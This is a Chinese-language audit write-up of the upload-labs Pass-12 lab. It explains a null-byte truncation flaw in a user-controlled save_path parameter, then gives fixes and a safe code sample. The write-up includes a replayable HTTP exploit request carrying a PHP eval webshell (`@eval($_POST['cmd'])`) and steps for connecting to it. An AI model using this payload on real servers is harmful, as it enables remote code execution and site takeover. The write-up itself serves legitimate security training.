upload-labs 文件上传漏洞靶场代码审计报告
一、靶场信息
| 项目 | 内容 |
|---|---|
| 靶场名称 | upload-labs |
| 关卡编号 | Pass-12 |
| 漏洞类型 | 上传路径可控导致空字节截断(GET 参数) |
| 审计日期 | 2026-08-09 |
| 目标文件 | Pass-12/index.php |
二、漏洞概述
Pass-12 虽然对上传文件的后缀名做了白名单校验(仅允许 jpg、png、gif),但保存路径 save_path 完全由用户通过 GET 参数控制。在 PHP 5.2.x 等旧版本中,攻击者可以在 save_path 中插入空字节(%00),使路径在空字节处截断,从而将文件保存为任意名称(如 shell.php),实现任意文件上传。
- 危险等级:高危
- 影响范围:PHP < 5.3.4 环境中可上传任意文件
三、问题代码位置
文件路径:Pass-12/index.php
问题代码片段(第 8-23 行):
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
四、漏洞分析
4.1 为什么存在这个问题
代码从 $_GET['save_path'] 获取保存目录,未做任何校验或过滤,直接与随机文件名拼接。攻击者可以构造 save_path=../upload/shell.php%00,使得最终路径为 ../upload/shell.php\x00/xx20260809xxxx.jpg。由于 PHP 空字节截断,move_uploaded_file() 实际保存为 ../upload/shell.php。
4.2 校验逻辑缺陷
- 用户可完全控制保存路径参数。
- 未对路径进行规范化、过滤或白名单校验。
- 未过滤空字节等危险字符。
- 虽然文件后缀校验是白名单,但保存路径截断绕过了该限制。
五、利用思路
攻击者上传一个合法的图片文件(如任意 .jpg),同时通过 GET 参数设置 save_path=../upload/shell.php%00。服务端校验文件后缀为 jpg 通过,但保存路径在空字节处截断,最终生成 upload/shell.php,内容为上传的图片文件数据(可在图片中嵌入 PHP 代码形成图片马)。
六、POC(Yakit 可直接重放)
6.1 前提条件
- 靶场访问地址:
http://target.com/upload-labs/Pass-12/index.php - PHP 版本低于 5.3.4
- 准备一个图片马文件
shell.jpg,内容示例(可在图片数据后追加):
GIF89a
<?php @eval($_POST['cmd']); ?>
或先准备任意 .jpg 文件,再追加 PHP 代码。
6.2 Yakit 重放 HTTP 请求包
POST /upload-labs/Pass-12/index.php?save_path=../upload/shell.php%00 HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/jpeg
GIF89a
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--
6.3 利用步骤
- 在 Yakit 中新建 HTTP 请求并粘贴上述 POC。
- 修改
Host为实际靶场地址。 - 在请求 URL 中保留
save_path=../upload/shell.php%00。 - 发送请求,服务端校验
.jpg后缀通过。 - 访问上传文件:
http://target.com/upload-labs/upload/shell.php。 - 使用 Webshell 管理工具连接,密码
cmd。
七、修复建议
- 禁止用户控制保存路径:保存路径应在服务端硬编码或严格校验。
- 过滤空字节等控制字符:对路径参数进行正则校验。
- 使用白名单后缀:本关已做到,但被路径截断绕过,需同时修复路径问题。
- 重命名上传文件:使用随机文件名。
- 上传目录禁止脚本执行:从 Web 服务器层限制解析。
- 升级 PHP 版本:PHP 5.3.4 修复了空字节截断问题。
安全代码示例
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext)) {
die('只允许上传图片文件');
}
$save_path = '../upload/'; // 服务端硬编码
$new_name = md5(uniqid()) . '.' . $ext;
move_uploaded_file($_FILES['upload_file']['tmp_name'], $save_path . $new_name);
八、参考链接
- upload-labs 项目地址:https://github.com/c0ny1/upload-labs
- OWASP 文件上传漏洞说明:https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload